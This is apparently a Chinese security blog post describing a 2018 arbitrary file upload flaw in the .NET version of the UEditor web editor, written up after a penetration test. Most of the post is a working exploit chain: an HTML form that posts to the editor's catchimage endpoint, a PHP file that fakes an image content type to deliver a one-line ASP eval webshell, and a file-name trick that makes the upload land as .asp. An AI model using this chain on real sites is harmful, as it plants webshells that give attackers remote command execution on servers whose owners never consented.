UEditor .net版本任意文件上传

发表于 2019-09-25 | 分类于 web安全 | | 阅读次数:

字数统计: 282 字 | 阅读时长 ≈ 3 分钟

0x00 前言

今天在渗透过程中碰到了一个UEditor .net版本，刚好最近想更新下博客，记录一个getshell的过程。

0x01 UEditor .net版本任意文件上传

这个任意文件上传是18年8月份爆出来的，漏洞的成因是在获取图片资源时仅检查了ContentType，导致可以绕过达到任意文件上传。

if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

漏洞利用poc

<form action="http://xx/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p>
  <input type="submit" value="Submit" />
</form>

然后在服务中构造绕过验证的一句话submit即可

因为这里只验证了contentType,所以可以在代码中伪造contentType,我所使用的为

<?php
header('Content-type: image/jpeg'); 
echo "<% eval request(\"cmd\") %>";
?>

我这里使用的是php文件，利用的时候可以采用poc.php?.asp的形式，这样上传后的文件就为asp文件了。

提交之后便会返回webshell路径

0x02 参考资料

UEditor .net版本 getshell